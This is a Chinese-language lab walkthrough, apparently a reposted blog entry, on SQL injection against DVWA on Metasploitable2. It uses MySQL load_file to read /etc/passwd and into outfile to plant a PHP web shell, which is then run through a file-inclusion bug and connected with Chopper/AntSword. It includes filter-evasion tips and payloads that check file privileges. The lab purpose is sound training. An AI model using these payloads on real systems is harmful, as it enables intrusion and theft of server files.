SQL注入一句话木马(load_file/out file)

工具

靶机——metasploitable2
环境——DVWA,(low等级下)
菜刀——蚁剑

权限查看

查看mysql是否有对函数load_file(),outfile()函数的限制
(securefilepriv的值是否为NULL)

show global variables like '%secure%';
NULL 表示不可用, 空 表示可用

SQL注入一句话木马(load_file/out file)_第1张图片

' order by 2--   查看字段数
' union all select database(),user()--   查看当前数据库和用户

查看当前用户是否有文件读写的权限:
1' and (select File_priv from mysql.user where user='root' and host='localhost')='Y'-- 
1' and (select File_priv from mysql.user where user='root' and host='%')='Y'-- 
//注: 我在metasploitable2 的数据库里查了 root@ 后面接的的是 % ,
但是从浏览器上查的是localhost 具体原因我也不清楚
如果遇到的话,就两个都试一遍。

不清楚如何手工注入的可以点击下面的链接看看!
SQL注入原理一
SQL注入一句话木马(load_file/out file)_第2张图片
SQL注入一句话木马(load_file/out file)_第3张图片
SQL注入一句话木马(load_file/out file)_第4张图片
发现当前用户拥有对文件读写的权限

load_file / into out file

load_file()
条件:

  • 知道文件的绝对路径
  • 能使用union
  • 对web目录有读权限

如果有过滤单引号,则可以将函数中的路径进行hex或者char编码

1' union select load_file('/etc/passwd'),2-- 
如果有过滤  '  :
1' union select load_file(\'/etc/passwd\'),2-- 
也可以16进制编码,或者转成 ASCII码 
编码解决!16进制(用编码即不用单引号)

SQL注入一句话木马(load_file/out file)_第5张图片
into outfile()
条件:

  • 要有file_priv权限
  • 知道网站的绝对路径
  • 对web有写的权限
  • 没有过滤单引号
写入部分有单引号记得 转译 \
' union select  '',2 into outfile '/tmp/shell.php'-- 
' union select  '',2 into outfile '/tmp/shell.txt'-- 
(明明有读写的权限,但是无法写入 /var/www/ 这个目录下,
 可以写入 /tmp/ ,但是这样就连不上菜刀了,弄了一晚上没弄明白……
然后就是不加路径,直接传,可以传,但不知道传哪去了,这就尴尬)
' union select  '',2 into outfile '/var/www/dvwa/shell.php'-- 
' union select '',2 into outfile 'shell.php'#
' union select  '',2 into outfile '/var/www/dvwa/vulnerabilities/sqli/shell.php'-- 
(3个都不行)
存在过滤的时候:
如果写入的信息带有单引号 ,可以hex 编码,或者转成 ASCII码 

尝试写入 /tmp 目录下,虽然会报这个警告,但是文件是已经写入进去了!
由于网页只对 /var/www/ 目录下有读取权限,所以无法使用菜刀连接了!
SQL注入一句话木马(load_file/out file)_第6张图片
SQL注入一句话木马(load_file/out file)_第7张图片
但是在DVWA里有文件包含漏洞,所以可以本地包含一个文件

构造木马: /tmp/shell.txt
' union select  '\')?>',2 into outfile '/tmp/shell.txt'-- 
这串代码的意思是:
将 \')?> 写入 /tmp/shell.txt 
然后通过 文件包含 运行 shell.txt 里的 php 代码,
而 \')?> 这串代码的意思是:
在文件包含那个目录( /var/www/dvwa//vulnerabilities/fi)创建 shell01.php 文件,
并写入  这串代码

菜刀连接的链接:http://192.168.47.133/dvwa/vulnerabilities/fi/shell01.php

可以参考-文件包含漏洞
第一步: 将代码写入 /tmp/shell.txt
在这里插入图片描述
发现成功写入!
SQL注入一句话木马(load_file/out file)_第8张图片
第二步: 远程包含 /tmp/shell.txt
发现成功执行!
在这里插入图片描述
SQL注入一句话木马(load_file/out file)_第9张图片
第三步: 使用菜刀连接
SQL注入一句话木马(load_file/out file)_第10张图片
SQL注入一句话木马(load_file/out file)_第11张图片
至此手工 SQL注入木马 就结束了!
另外:如果有哪位同学也遇到了上面有权限但无法写入 /var/www的情况,如果知道原因还请告解!谢谢!

你可能感兴趣的:(SQL注入一句话木马(load_file/out file))